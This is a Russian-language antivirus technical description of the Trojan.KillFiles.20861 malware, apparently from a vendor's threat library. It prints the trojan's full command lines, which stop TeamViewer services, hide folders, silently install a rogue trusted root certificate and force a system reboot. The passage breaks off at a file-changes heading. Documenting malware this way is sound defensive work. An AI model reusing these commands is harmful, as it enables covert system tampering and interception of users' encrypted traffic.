Trojan.KillFiles.20861

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

'%TEMP%\TeamViewer\HelpUser\rst93615.exe' cmdwait 8427 exitwin reboot force
'%TEMP%\TeamViewer\HelpUser\tv.exe' execmd "echo. & tv killprocess "rst93615.exe" & del /a /f /q "rst*" & attrib +r "tv.exe" & attrib +h +s +r "..\HelpUser" & if not exist "%APPDATA%" (ren "*e.dll" "TeamViewer_Resource.dll" & exit) else tv service stop "TeamViewer8" & tv service stop "TeamViewer7" & tv service stop "TeamViewer6" & tv service stop "TeamViewer5" & tv service stop "TeamViewer4" & set "PROMPT=" & set "BOXN=" & start "" "TeamViewer.exe" & del /a /f /q "*.tmp" & pushd "%HOMEPATH%\temp\TeamViewer" & attrib +r "Version4\*.h*" & attrib +r "Version5\*.h*" & popd & pushd "%TEMP%\TeamViewer" & attrib +r "Version5\*.h*" & attrib +r "Version6\*.h*" & attrib +r "Version7\*.h*" & attrib +r "Version8\*.h*" & popd & start "" tv cmdwait 7823 execmd "ren "*ce.dll" "*.tmp" & ren "*e.dll" "TeamViewer_Resource.dll"""
'%TEMP%\TeamViewer\HelpUser\tv.exe' killprocess "rst93615.exe"
'%TEMP%\TeamViewer\HelpUser\tv.exe' execmd "echo. & set "K=\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates" & set "K1=\0549936BF36D666303FA40A6870BA900A055FD5C" & call reg query "HKLM%K%%K1%" /v "Blob" && (del /a /f /q "cm.*" & exit) & call reg query "HKCU%K%%K1%" /v "Blob" && (del /a /f /q "cm.*" & exit) & tv win dlgclick class "#32770" 2 & tv win dlgclick class "#32770" 7 & tv clipboard readfile "~~$folder.nircmd$\cm.cm3" & start "" tv loop 50 100 script "cm.cm1" & cm /add "cm.cm2" /s Root /r currentUser /all && (tv regsetval binary "HKCU~~$sys.k$~~$sys.k1$" "Blob" "~~$clipboard$") & cm /add "cm.cm2" /s Root /r localMachine /all && (tv regsetval binary "HKLM~~$sys.k$~~$sys.k1$" "Blob" "~~$clipboard$") & tv clipboard clear & ren "cm.*" "tmp.*" & del /a /f /q "*tmp*""
'%TEMP%\TeamViewer\HelpUser\tv.exe' shellcopy "~$nir.exefile$" "~$folder.nircmd$\rst93615.exe" noerrorui silent yestoall
'%TEMP%\TeamViewer\HelpUser\tv.exe' filldelete "*cmd*"

Запускает на исполнение:

'<SYSTEM32>\reg.exe' query "HKCU\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\0549936BF36D666303FA40A6870BA900A055FD5C" /v "Blob"
'<SYSTEM32>\wbem\wmiadap.exe' /R /T
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\0549936BF36D666303FA40A6870BA900A055FD5C" /v "Blob"
'<SYSTEM32>\logonui.exe' /status /shutdown

Пытается завершить работу операционной системы Windows.

Изменения в файловой системе:

Создает следующие файлы: